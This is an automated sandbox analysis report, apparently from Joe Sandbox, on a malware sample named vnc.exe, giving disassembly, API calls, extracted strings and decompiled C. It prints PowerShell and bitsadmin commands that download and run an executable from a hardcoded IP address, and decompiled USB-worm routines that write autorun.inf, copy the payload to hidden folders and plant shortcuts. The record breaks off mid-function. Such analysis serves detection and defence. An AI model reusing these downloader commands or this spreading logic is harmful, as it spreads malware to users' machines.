0x00401730
0x00401735
0x00401738
0x0040173d
0x00401742
0x0040174e
0x00401750
0x00401752
0x00401753
0x00401761
0x00401761
0x0040176a
0x00401770
0x00401786
0x00401789
0x00401796
0x0040179c
0x004017a4
0x004017aa
0x004017b0
0x004017c5
0x004017d7
0x004017ec
0x004017f1
0x004017f6
0x00401780
0x00000000
0x00401780
0x00000000
0x004017d7
0x00401786
0x00401801
0x00401808
0x0040180e
0x00401824
0x0040182a
0x00401837
0x0040183d
0x00401845
0x0040184b
0x00401851
0x00401866
0x00401878
0x00401890
0x00401895
0x0040189a
0x0040181e
0x00000000
0x0040181e
0x00000000
0x00401878
0x00401824
0x004018a5
0x004018ac
0x004018b2
0x004018c8
0x004018ce
0x004018db
0x004018e1
0x004018e9
0x004018ef
0x004018f5
0x0040190a
0x0040191c
0x00401934
0x00401939
0x0040193e
0x004018c2
0x00000000
0x004018c2
0x00000000
0x0040191c
0x004018c8
0x00401949
0x0040194e
0x00401970

APIs

Sleep.KERNEL32(00000023), ref: 004017F6
Sleep.KERNEL32(00000023), ref: 0040189A
Sleep.KERNEL32(00000023), ref: 0040193E
Sleep.KERNEL32(000001F4), ref: 0040194E

Part of subcall function 004015DB: send.WS2_32(?,?,00000008,00000000), ref: 0040164A
Part of subcall function 004015DB: send.WS2_32(?,?,00000008,00000000), ref: 00401667

Strings

cmd.exe, xrefs: 00401730
PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.48/vnc.exe','%temp%\853800385940.exe');Start-Process '%temp%\853800385940.exe', xrefs: 00401743
bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\495050583930.exe&start %temp%\495050583930.exe, xrefs: 00401756

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: Sleep$send
String ID: PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92.63.197.48/vnc.exe','%temp%\853800385940.exe');Start-Process '%temp%\853800385940.exe'$bitsadmin /transfer getitman /download /priority high http://92.63.197.48/vnc.exe %temp%\495050583930.exe&start %temp%\495050583930.exe$cmd.exe
API String ID: 4079979460-3874844114
Opcode ID: e5bb1bb67de6b6f928b23916b446aac9230ee6b95ac9dbdec5d57512cec888dd
Instruction ID: baaf9ef8a5c4e030bc55f342b21e0ff2eb1638d6b2c5673db9051590f5badfb1
Opcode Fuzzy Hash: e5bb1bb67de6b6f928b23916b446aac9230ee6b95ac9dbdec5d57512cec888dd
Instruction Fuzzy Hash: 42612571D052689FEB62DB28CE44BE9BBB1BB15311F0002E6E949BB291C7395EC4CF15

Uniqueness

Uniqueness Score: 100.00%

Function 004035DF, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
sleepprocessUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004035DF(WCHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOW _v92;
				short _t13;
				int _t16;

				memset( &_v92, 0, 0x44);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v92.cb = 0x44;
				_v92.dwFlags = 1;
				_t13 = 5;
				_v92.wShowWindow = _t13;
				_t16 = CreateProcessW(0, _a4, 0, 0, 0, 0x20, 0, 0,  &_v92,  &_v20); // executed
				if(_t16 == 0) {
					Sleep(0x1f4);
					if(ShellExecuteW(0, L"open", _a4, 0, 0, 0) == 0) {
						return 0;
					}
					return 1;
				}
				return 1;
			}

0x004035ee
0x004035fb
0x004035fc
0x004035fd
0x004035fe
0x004035ff
0x00403606
0x0040360f
0x00403610
0x0040362d
0x00403635
0x00403640
0x0040365e
0x00000000
0x00403664
0x00000000
0x00403660
0x00000000

APIs

memset.MSVCRT ref: 004035EE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040362D
Sleep.KERNEL32(000001F4,?,?,?), ref: 00403640
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00403656

Strings

D, xrefs: 004035FF
open, xrefs: 0040364F

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: CreateExecuteProcessShellSleepmemset
String ID: D$open
API String ID: 541629773-2491301029
Opcode ID: 53d672ba8f1b31d252f8aee28e29acdc8d15b8d93c186899c3beea2ecfbe53e7
Instruction ID: 7e3bdf0c90cf3df6866e5df59eb9a53a3d08eaf85889ef7f12c5c659c25ed17f
Opcode Fuzzy Hash: 53d672ba8f1b31d252f8aee28e29acdc8d15b8d93c186899c3beea2ecfbe53e7
Instruction Fuzzy Hash: 29015E71B84344BAFB615EE4DC0AFDA7B689B04B01F100422F701BD2D0D6B9A1458B6E

Uniqueness

Uniqueness Score: 100.00%

Function 00412ADE, Relevance: 4.5, APIs: 3, Instructions: 45UNIQUE

APIs

GetFirmwareEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412B38
GetVolumePathNameA.KERNEL32(00419490,?,00000000), ref: 00412B4B
SetFileApisToANSI.KERNEL32 ref: 00412B51

Memory Dump Source

Source File: 00000001.00000001.309020421.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_1_40d000_vnc.jbxd

Similarity

API ID: ApisEnvironmentFileFirmwareNamePathVariableVolume
String ID:
API String ID: 4009104427-0
Opcode ID: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction ID: f449373da075e34465918f8ebd773e7e178d982c5a147d172c8a692d249b7fb9
Opcode Fuzzy Hash: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction Fuzzy Hash: FA0147766097404ED3208B28DC84BF27FBCDB192A570800BAEA8293261C1745C46C67C

Uniqueness

Uniqueness Score: 100.00%

Function 0002082F, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00020838

Memory Dump Source

Source File: 00000001.00000002.324344684.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_20000_vnc.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction ID: 49d911cedbefafe353e03f649b1fa443a44f879d0861f69b70ce82956fdacc34
Opcode Fuzzy Hash: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction Fuzzy Hash: C19004303455D015D47035DC0C01F0540050F45731F7313043730FD1D4C44155000175

Uniqueness

Uniqueness Score: 0.14%

Non-executed Functions

Function 00403775, Relevance: 172.2, APIs: 67, Strings: 31, Instructions: 655
sleepfileUNIQUE

C-Code - Quality: 70%

			E00403775(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				short _v1636;
				short _v2156;
				short _v2676;
				short _v3196;
				void* _v3200;
				void _v3724;
				short _v4244;
				short _v4764;
				struct _IO_FILE* _v4768;
				long _v4772;
				struct _IO_FILE* _v4776;
				short _v5300;
				intOrPtr* _v5304;
				intOrPtr* _v5308;
				signed int _v5310;
				signed int _v5312;
				signed int _v5316;
				signed int _v5320;
				intOrPtr* _v5324;
				intOrPtr* _v5328;
				signed int _v5330;
				signed int _v5332;
				signed int _v5336;
				signed int _v5340;
				intOrPtr* _v5344;
				intOrPtr* _v5348;
				signed int _v5350;
				signed int _v5352;
				signed int _v5356;
				signed int _v5360;
				intOrPtr* _v5364;
				intOrPtr* _v5368;
				signed int _v5370;
				signed int _v5372;
				signed int _v5376;
				signed int _v5380;
				intOrPtr* _v5384;
				intOrPtr* _v5388;
				signed int _v5390;
				signed int _v5392;
				signed int _v5396;
				signed int _v5400;
				struct _IO_FILE* _t248;
				signed int _t281;
				signed int _t288;
				signed int _t294;
				signed int _t300;
				signed int _t364;
				struct _IO_FILE* _t370;
				void* _t451;
				void* _t463;
				void* _t468;
				void* _t473;

				E00406C20(0x1514, __ecx);
				srand(GetTickCount());
				memset( &_v3196, 0, 0x208);
				memset( &_v1636, 0, 0x208);
				memset( &_v4764, 0, 0x208);
				memset( &_v2156, 0, 0x208);
				memset( &_v3724, 0, 0x208);
				memset( &_v4244, 0, 0x208);
				_push(_a4);
				_push(L"%ls*");
				_push(0x208);
				_push( &_v3196);
				L00401030();
				_push(_a8);
				_push(_a4);
				_push(L"%ls\\%s.lnk");
				_push(0x208);
				_push( &_v4764);
				L00401030();
				_push(_a8);
				_push(L"%ls.lnk");
				_push(0x208);
				_push( &_v3724);
				L00401030();
				_push(_a4);
				_push(L"%ls\\_");
				_push(0x208);
				_push( &_v1636);
				L00401030();
				_push(_a4);
				_push(L"%ls\\_\\DeviceManager.exe");
				_push(0x208);
				_push( &_v2156);
				L00401030();
				_push(_a4);
				_push(L"%ls\\autorun.inf");
				_push(0x208);
				_push( &_v4244);
				L00401030();
				_t463 = _t451 + 0xac;
				Sleep(0x1f4);
				_push(L"rb");
				_t248 =  &_v2156;
				_push(_t248);
				L00401042();
				_v4768 = _t248;
				if(_v4768 != 0) {
					fseek(_v4768, 0, 2);
					_t463 = _t463 + 0xc;
					_v4772 = ftell(_v4768);
					fclose(_v4768);
					_t473 = _v4772 -  *0x40a9c0; // 0x0
					if(_t473 != 0) {
						SetFileAttributesW( &_v2156, 0x80);
						DeleteFileW( &_v2156);
					}
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v4764) == 0) {
					if(PathFileExistsW( &_v4244) != 0) {
						SetFileAttributesW( &_v4244, 0x80);
						DeleteFileW( &_v4244);
					}
					if((_a12 & 0x000000ff) != 1) {
						_push(0);
						_push(0);
						E00403669( &_v4764,  &_v4764, L"B:\\", 0, L"shell32.dll", 8, 0);
						_t463 = _t463 + 0x20;
					} else {
						_push(0);
						_push(0);
						E00403669( &_v4764,  &_v4764, L"B:\\", 0, L"shell32.dll", 9, 0);
						_t463 = _t463 + 0x20;
					}
					Sleep(0x1f4);
					SetFileAttributesW( &_v4764, 5);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v1636) == 0 && CreateDirectoryW( &_v1636, 0) != 0) {
					SetFileAttributesW( &_v1636, 7);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v2156) == 0) {
					CopyFileW(0x40a9c8,  &_v2156, 0);
					SetFileAttributesW( &_v2156, 7);
				}
				Sleep(0x1f4);
				if(PathFileExistsW( &_v4244) == 0) {
					_push("w");
					_t370 =  &_v4244;
					_push(_t370);
					L00401042();
					_v4776 = _t370;
					if(_v4776 != 0) {
						fprintf(_v4776, "[autorun]\nopen=_\\DeviceManager.exe\nUseAutoPlay=1");
						fclose(_v4776);
						SetFileAttributesW( &_v4244, 7);
					}
				}
				Sleep(0x1f4);
				_v3200 = FindFirstFileW( &_v3196,  &_v1116);
				if(_v3200 != 0xffffffff) {
					do {
						if(E00401000( &(_v1116.cFileName), L".lnk") == 0) {
							L29:
							if(E00401000( &(_v1116.cFileName), L".vbs") != 0 || E00401000( &(_v1116.cFileName), L".bat") != 0 || E00401000( &(_v1116.cFileName), L".js") != 0 || E00401000( &(_v1116.cFileName), L".scr") != 0 || E00401000( &(_v1116.cFileName), L".com") != 0 || E00401000( &(_v1116.cFileName), L".jse") != 0 || E00401000( &(_v1116.cFileName), L".cmd") != 0 || E00401000( &(_v1116.cFileName), L".pif") != 0 || E00401000( &(_v1116.cFileName), L".jar") != 0 || E00401000( &(_v1116.cFileName), L".dll") != 0) {
								L39:
								memset( &_v2676, 0, 0x208);
								_push( &(_v1116.cFileName));
								_push(_a4);
								_push(L"%ls\\%s");
								_push(0x208);
								_push( &_v2676);
								L00401030();
								_t463 = _t463 + 0x20;
								SetFileAttributesW( &_v2676, 0x80);
								DeleteFileW( &_v2676);
								goto L40;
							} else {
								L40:
								Sleep(0x64);
								if(PathFileExistsW( &_v1636) == 0) {
									goto L82;
								}
								_v5324 = L".lnk";
								_v5328 =  &(_v1116.cFileName);
								while(1) {
									_t281 =  *_v5328;
									_v5330 = _t281;
									if(_t281 !=  *_v5324) {
										break;
									}
									if(_v5330 == 0) {
										L46:
										_v5336 = _v5336 & 0x00000000;
										L48:
										_v5340 = _v5336;
										if((0 | _v5340 == 0x00000000) != 0) {
											goto L82;
										}
										_v5344 =  &_v3724;
										_v5348 =  &(_v1116.cFileName);
										while(1) {
											_t288 =  *_v5348;
											_v5350 = _t288;
											if(_t288 !=  *_v5344) {
												break;
											}
											if(_v5350 == 0) {
												L54:
												_v5356 = _v5356 & 0x00000000;
												L56:
												_v5360 = _v5356;
												if((0 | _v5360 == 0x00000000) != 0) {
													goto L82;
												}
												_v5364 = L"autorun.inf";
												_v5368 =  &(_v1116.cFileName);
												while(1) {
													_t294 =  *_v5368;
													_v5370 = _t294;
													if(_t294 !=  *_v5364) {
														break;
													}
													if(_v5370 == 0) {
														L62:
														_v5376 = _v5376 & 0x00000000;
														L64:
														_v5380 = _v5376;
														if((0 | _v5380 == 0x00000000) != 0) {
															goto L82;
														}
														_v5384 = "_";
														_v5388 =  &(_v1116.cFileName);
														while(1) {
															_t300 =  *_v5388;
															_v5390 = _t300;
															if(_t300 !=  *_v5384) {
																break;
															}
															if(_v5390 == 0) {
																L70:
																_v5396 = _v5396 & 0x00000000;
																L72:
																_v5400 = _v5396;
																if((0 | _v5400 == 0x00000000) == 0) {
																	memset( &_v524, 0, 0x208);
																	memset( &_v2676, 0, 0x208);
																	_push( &(_v1116.cFileName));
																	_push(_a4);
																	_push(L"%ls\\%s");
																	_push(0x208);
																	_push( &_v524);
																	L00401030();
																	_push( &(_v1116.cFileName));
																	_push(_a4);
																	_push(L"%s\\_\\%ls");
																	_push(0x208);
																	_push( &_v2676);
																	L00401030();
																	_t468 = _t463 + 0x40;
																	SetFileAttributesW( &_v524, 0x80);
																	if(PathFileExistsW( &_v2676) != 0 && PathFileExistsW( &_v524) != 0) {
																		if(GetFileAttributesW( &_v2676) != 0x10) {
																			DeleteFileW( &_v524);
																		} else {
																			if(E00401000( &_v2676, L"..") == 0 && E00401000( &_v2676, ".") == 0) {
																				memset( &_v5300, 0, 0x208);
																				_push( &_v524);
																				_push(L"/c rmdir /q /s \"%ls\"");
																				_push(0x208);
																				_push( &_v5300);
																				L00401030();
																				_t468 = _t468 + 0x1c;
																				ShellExecuteW(0, 0, L"cmd.exe",  &_v5300, 0, 0);
																			}
																		}
																	}
																	memset( &_v5300, 0, 0x208);
																	_push( &_v2676);
																	_push( &_v524);
																	_push(L"/c move /y \"%ls\", \"%ls\"");
																	_push(0x208);
																	_push( &_v5300);
																	L00401030();
																	_t463 = _t468 + 0x20;
																	ShellExecuteW(0, 0, L"cmd.exe",  &_v5300, 0, 0);
																}
																goto L82;
															}
															_t300 =  *((intOrPtr*)(_v5388 + 2));
															_v5392 = _t300;
															_t186 = _v5384 + 2; // 0x250000
															if(_t300 !=  *_t186) {
																break;
															}
															_v5388 = _v5388 + 4;
															_v5384 = _v5384 + 4;
															if(_v5392 != 0) {
																continue;
															}
															goto L70;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														_v5396 = _t300;
														goto L72;
													}
													_t294 =  *((intOrPtr*)(_v5368 + 2));
													_v5372 = _t294;
													_t161 = _v5364 + 2; // 0x740075
													if(_t294 !=  *_t161) {
														break;
													}
													_v5368 = _v5368 + 4;
													_v5364 = _v5364 + 4;
													if(_v5372 != 0) {
														continue;
													}
													goto L62;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												_v5376 = _t294;
												goto L64;
											}
											_t288 =  *((intOrPtr*)(_v5348 + 2));
											_v5352 = _t288;
											if(_t288 !=  *((intOrPtr*)(_v5344 + 2))) {
												break;
											}
											_v5348 = _v5348 + 4;
											_v5344 = _v5344 + 4;
											if(_v5352 != 0) {
												continue;
											}
											goto L54;
										}
										asm("sbb eax, eax");
										asm("sbb eax, 0xffffffff");
										_v5356 = _t288;
										goto L56;
									}
									_t281 =  *((intOrPtr*)(_v5328 + 2));
									_v5332 = _t281;
									_t110 = _v5324 + 2; // 0x6e006c
									if(_t281 !=  *_t110) {
										break;
									}
									_v5328 = _v5328 + 4;
									_v5324 = _v5324 + 4;
									if(_v5332 != 0) {
										continue;
									}
									goto L46;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								_v5336 = _t281;
								goto L48;
							}
						}
						_v5304 =  &_v3724;
						_v5308 =  &(_v1116.cFileName);
						while(1) {
							_t364 =  *_v5308;
							_v5310 = _t364;
							if(_t364 !=  *_v5304) {
								break;
							}
							if(_v5310 == 0) {
								L26:
								_v5316 = _v5316 & 0x00000000;
								L28:
								_v5320 = _v5316;
								if((0 | _v5320 == 0x00000000) == 0) {
									goto L39;
								}
								goto L29;
							}
							_t364 =  *((intOrPtr*)(_v5308 + 2));
							_v5312 = _t364;
							if(_t364 !=  *((intOrPtr*)(_v5304 + 2))) {
								break;
							}
							_v5308 = _v5308 + 4;
							_v5304 = _v5304 + 4;
							if(_v5312 != 0) {
								continue;
							}
							goto L26;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						_v5316 = _t364;
						goto L28;
						L82:
					} while (FindNextFileW(_v3200,  &_v1116) != 0);
					FindClose(_v3200);
					return 1;
				} else {
					return 0;
				}
			}

0x0040377d
0x00403789
0x0040379d
0x004037b3
0x004037c9
0x004037df
0x004037f5
0x0040380b
0x00403813
0x00403816
0x0040381b
0x00403826
0x00403827
0x0040382f
0x00403832
0x00403835
0x0040383a
0x00403845
0x00403846
0x0040384e
0x00403851
0x00403856
0x00403861
0x00403862
0x0040386a
0x0040386d
0x00403872
0x0040387d
0x0040387e
0x00403886
0x00403889
0x0040388e
0x00403899
0x0040389a
0x004038a2
0x004038a5
0x004038aa
0x004038b5
0x004038b6
0x004038bb
0x004038c3
0x004038c9
0x004038ce
0x004038d4
0x004038d5
0x004038dc
0x004038e9
0x004038f5
0x004038fa
0x00403909
0x00403915
0x00403921
0x00403927
0x00403935
0x00403942
0x00403942
0x00403927
0x0040394d
0x00403962
0x00403977
0x00403985
0x00403992
0x00403992
0x0040399f
0x004039c6
0x004039c8
0x004039e1
0x004039e6
0x004039a1
0x004039a1
0x004039a3
0x004039bc
0x004039c1
0x004039c1
0x004039ee
0x004039fd
0x004039fd
0x00403a08
0x00403a1d
0x00403a3b
0x00403a3b
0x00403a46
0x00403a5b
0x00403a6b
0x00403a7a
0x00403a7a
0x00403a85
0x00403a9a
0x00403a9c
0x00403aa1
0x00403aa7
0x00403aa8
0x00403aaf
0x00403abc
0x00403ac9
0x00403ad6
0x00403ae5
0x00403ae5
0x00403abc
0x00403af0
0x00403b0a
0x00403b17
0x00403b20
0x00403b35
0x00403be1
0x00403bf6
0x00403cd7
0x00403ce5
0x00403cf3
0x00403cf4
0x00403cf7
0x00403cfc
0x00403d07
0x00403d08
0x00403d0d
0x00403d1c
0x00403d29
0x00000000
0x00403d2f
0x00403d2f
0x00403d31
0x00403d46
0x00000000
0x00000000
0x00403d4c
0x00403d5c
0x00403d62
0x00403d68
0x00403d6b
0x00403d7b
0x00000000
0x00000000
0x00403d85
0x00403dbc
0x00403dbc
0x00403dd0
0x00403dd6
0x00403dea
0x00000000
0x00000000
0x00403df6
0x00403e02
0x00403e08
0x00403e0e
0x00403e11
0x00403e21
0x00000000
0x00000000
0x00403e2b
0x00403e62
0x00403e62
0x00403e76
0x00403e7c
0x00403e90
0x00000000
0x00000000
0x00403e96
0x00403ea6
0x00403eac
0x00403eb2
0x00403eb5
0x00403ec5
0x00000000
0x00000000
0x00403ecf
0x00403f06
0x00403f06
0x00403f1a
0x00403f20
0x00403f34
0x00000000
0x00000000
0x00403f3a
0x00403f4a
0x00403f50
0x00403f56
0x00403f59
0x00403f69
0x00000000
0x00000000
0x00403f73
0x00403faa
0x00403faa
0x00403fbe
0x00403fc4
0x00403fd8
0x00403fec
0x00404002
0x00404010
0x00404011
0x00404014
0x00404019
0x00404024
0x00404025
0x00404033
0x00404034
0x00404037
0x0040403c
0x00404047
0x00404048
0x0040404d
0x0040405c
0x00404071
0x0040409c
0x00404129
0x004040a2
0x004040b7
0x004040de
0x004040ec
0x004040ed
0x004040f2
0x004040fd
0x004040fe
0x00404103
0x0040411a
0x0040411a
0x00404120
0x0040409c
0x0040413d
0x0040414b
0x00404152
0x00404153
0x00404158
0x00404163
0x00404164
0x00404169
0x00404180
0x00404180
0x00000000
0x00403fd8
0x00403f7b
0x00403f7f
0x00403f8c
0x00403f90
0x00000000
0x00000000
0x00403f92
0x00403f99
0x00403fa8
0x00000000
0x00000000
0x00000000
0x00403fa8
0x00403fb3
0x00403fb5
0x00403fb8
0x00000000
0x00403fb8
0x00403ed7
0x00403edb
0x00403ee8
0x00403eec
0x00000000
0x00000000
0x00403eee
0x00403ef5
0x00403f04
0x00000000
0x00000000
0x00000000
0x00403f04
0x00403f0f
0x00403f11
0x00403f14
0x00000000
0x00403f14
0x00403e33
0x00403e37
0x00403e48
0x00000000
0x00000000
0x00403e4a
0x00403e51
0x00403e60
0x00000000
0x00000000
0x00000000
0x00403e60
0x00403e6b
0x00403e6d
0x00403e70
0x00000000
0x00403e70
0x00403d8d
0x00403d91
0x00403d9e
0x00403da2
0x00000000
0x00000000
0x00403da4
0x00403dab
0x00403dba
0x00000000
0x00000000
0x00000000
0x00403dba
0x00403dc5
0x00403dc7
0x00403dca
0x00000000
0x00403dca
0x00403bf6
0x00403b41
0x00403b4d
0x00403b53
0x00403b59
0x00403b5c
0x00403b6c
0x00000000
0x00000000
0x00403b76
0x00403bad
0x00403bad
0x00403bc1
0x00403bc7
0x00403bdb
0x00000000
0x00000000
0x00000000
0x00403bdb
0x00403b7e
0x00403b82
0x00403b93
0x00000000
0x00000000
0x00403b95
0x00403b9c
0x00403bab
0x00000000
0x00000000
0x00000000
0x00403bab
0x00403bb6
0x00403bb8
0x00403bbb
0x00000000
0x00404186
0x00404199
0x004041a7
0x00000000
0x00403b19
0x00000000
0x00403b19

APIs

GetTickCount.KERNEL32(?,00404343,?,00408C34,00000001), ref: 00403782
srand.MSVCRT ref: 00403789
memset.MSVCRT ref: 0040379D
memset.MSVCRT ref: 004037B3
memset.MSVCRT ref: 004037C9
memset.MSVCRT ref: 004037DF
memset.MSVCRT ref: 004037F5
memset.MSVCRT ref: 0040380B
_snwprintf.MSVCRT ref: 00403827
_snwprintf.MSVCRT ref: 00403846
_snwprintf.MSVCRT ref: 00403862
_snwprintf.MSVCRT ref: 0040387E
_snwprintf.MSVCRT ref: 0040389A
_snwprintf.MSVCRT ref: 004038B6
Sleep.KERNEL32(000001F4), ref: 004038C3
_wfopen.MSVCRT ref: 004038D5
fseek.MSVCRT ref: 004038F5
ftell.MSVCRT ref: 00403903
fclose.MSVCRT ref: 00403915
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403935
DeleteFileW.KERNEL32(?), ref: 00403942
Sleep.KERNEL32(000001F4), ref: 0040394D
PathFileExistsW.SHLWAPI(?), ref: 0040395A
PathFileExistsW.SHLWAPI(?), ref: 0040396F
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403985
DeleteFileW.KERNEL32(?), ref: 00403992

Part of subcall function 00403669: CoInitialize.OLE32(00000000), ref: 00403671
Part of subcall function 00403669: CoCreateInstance.OLE32(0040723C,00000000,00000001,0040722C,?), ref: 004036A0

Sleep.KERNEL32(000001F4), ref: 004039EE
SetFileAttributesW.KERNEL32(?,00000005), ref: 004039FD
Sleep.KERNEL32(000001F4), ref: 00403A08
PathFileExistsW.SHLWAPI(?), ref: 00403A15
CreateDirectoryW.KERNEL32(?,00000000), ref: 00403A28
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A3B
Sleep.KERNEL32(000001F4), ref: 00403A46
PathFileExistsW.SHLWAPI(?), ref: 00403A53
CopyFileW.KERNEL32(0040A9C8,?,00000000), ref: 00403A6B
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403A7A
Sleep.KERNEL32(000001F4), ref: 00403A85
PathFileExistsW.SHLWAPI(?), ref: 00403A92
_wfopen.MSVCRT ref: 00403AA8
fprintf.MSVCRT ref: 00403AC9
fclose.MSVCRT ref: 00403AD6
SetFileAttributesW.KERNEL32(?,00000007), ref: 00403AE5
Sleep.KERNEL32(000001F4), ref: 00403AF0
FindFirstFileW.KERNEL32(?,?), ref: 00403B04

Part of subcall function 00401000: wcsstr.MSVCRT ref: 00401009

memset.MSVCRT ref: 00403CE5
_snwprintf.MSVCRT ref: 00403D08
SetFileAttributesW.KERNEL32(?,00000080), ref: 00403D1C
DeleteFileW.KERNEL32(?), ref: 00403D29
Sleep.KERNEL32(00000064), ref: 00403D31
PathFileExistsW.SHLWAPI(?), ref: 00403D3E
memset.MSVCRT ref: 00403FEC
memset.MSVCRT ref: 00404002
_snwprintf.MSVCRT ref: 00404025
_snwprintf.MSVCRT ref: 00404048
SetFileAttributesW.KERNEL32(?,00000080), ref: 0040405C
PathFileExistsW.SHLWAPI(?), ref: 00404069
PathFileExistsW.SHLWAPI(?), ref: 0040407E
GetFileAttributesW.KERNEL32(?), ref: 00404093
memset.MSVCRT ref: 004040DE
_snwprintf.MSVCRT ref: 004040FE
ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 0040411A
DeleteFileW.KERNEL32(?), ref: 00404129
memset.MSVCRT ref: 0040413D
_snwprintf.MSVCRT ref: 00404164
ShellExecuteW.SHELL32(00000000,00000000,cmd.exe,?,00000000,00000000), ref: 00404180
FindNextFileW.KERNEL32(?,?), ref: 00404193
FindClose.KERNEL32(?), ref: 004041A7

Strings

%ls\%s, xrefs: 00403CF7
%ls\_, xrefs: 0040386D
.vbs, xrefs: 00403BE1
%s\_\%ls, xrefs: 00404037
[autorun]open=_\DeviceManager.exeUseAutoPlay=1, xrefs: 00403ABE
%ls\_\DeviceManager.exe, xrefs: 00403889
%ls*, xrefs: 00403816
%ls\%s.lnk, xrefs: 00403835
.lnk, xrefs: 00403B20
.com, xrefs: 00403C4D
shell32.dll, xrefs: 004039A9
.dll, xrefs: 00403CC0
.pif, xrefs: 00403C92
/c rmdir /q /s "%ls", xrefs: 004040ED
%ls\autorun.inf, xrefs: 004038A5
%ls\%s, xrefs: 00404014
cmd.exe, xrefs: 00404177
.scr, xrefs: 00403C32
B:\, xrefs: 004039D5
.cmd, xrefs: 00403C7B
.js, xrefs: 00403C17
.jar, xrefs: 00403CA9
autorun.inf, xrefs: 00403E96
/c move /y "%ls", "%ls", xrefs: 00404153
shell32.dll, xrefs: 004039CE
B:\, xrefs: 004039B0
cmd.exe, xrefs: 00404111
.lnk, xrefs: 00403D4C
.jse, xrefs: 00403C64
.bat, xrefs: 00403BFC
%ls.lnk, xrefs: 00403851

Memory Dump Source

Source File: 00000001.00000002.324517495.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vnc.jbxd

Similarity

API ID: File$_snwprintfmemset$Attributes$ExistsPathSleep$Delete$Find$CreateExecuteShell_wfopenfclose$CloseCopyCountDirectoryFirstInitializeInstanceNextTickfprintffseekftellsrandwcsstr
String ID: %ls*$%ls.lnk$%ls\%s$%ls\%s$%ls\%s.lnk$%ls\_$%ls\_\DeviceManager.exe$%ls\autorun.inf$%s\_\%ls$.bat$.cmd$.com$.dll$.jar$.js$.jse$.lnk$.lnk$.pif$.scr$.vbs$/c move /y "%ls", "%ls"$/c rmdir /q /s "%ls"$B:\$B:\$[autorun]open=_\DeviceManager.exeUseAutoPlay=1$autorun.inf$cmd.exe$cmd.exe$shell32.dll$shell32.dll
API String ID: 1379777470-1539354289
Opcode ID: 33ca67a0c8343c5515d3ac1a4b0487203c69bbc3f7b881b8c955a13d56816828
Instruction ID: fa884837d328e8ef0006e923a8ea6d70230a1be69f341a5f629a2db418182e5f
Opcode Fuzzy Hash: 33ca67a0c8343c5515d3ac1a4b0487203c69bbc3f7b881b8c955a13d56816828
Instruction Fuzzy Hash: 95427B75E042199ADB20AF60CC49BDA77BCAB04745F0041FAF649F61D1EB78ABC48F19

Uniqueness

Uniqueness Score: 100.00%

Function 00401B06, Relevance: 98.7, APIs: 53, Strings: 3, Instructions: 684
sleepnetworkstringUNIQUECrypto

C-Code - Quality: 55%

			E00401B06(signed int __ecx, intOrPtr _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v40;
				char _v44;
				char _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v80;
				short _v82;
				char _v84;
				char _v88;
				signed int _v92;
				signed int _v100;
				signed int _v102;
				signed int _v104;
				signed int _v110;
				signed int _v112;
				signed int _v116;
				signed int _v124;
				signed int _v126;
				signed int _v128;
				signed int _v134;
				signed int _v136;
				char _v396;
				char _v404;
				signed int _v408;
				signed int _v416;
				signed int _v418;
				signed int _v420;
				signed int _v426;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				intOrPtr* _v440;
				intOrPtr _v444;
				char _v445;
				intOrPtr _v452;
				signed int _v456;
				short _t214;
				char* _t215;
				void* _t217;
				int _t221;
				void* _t225;
				void* _t227;
				void* _t275;
				void* _t293;
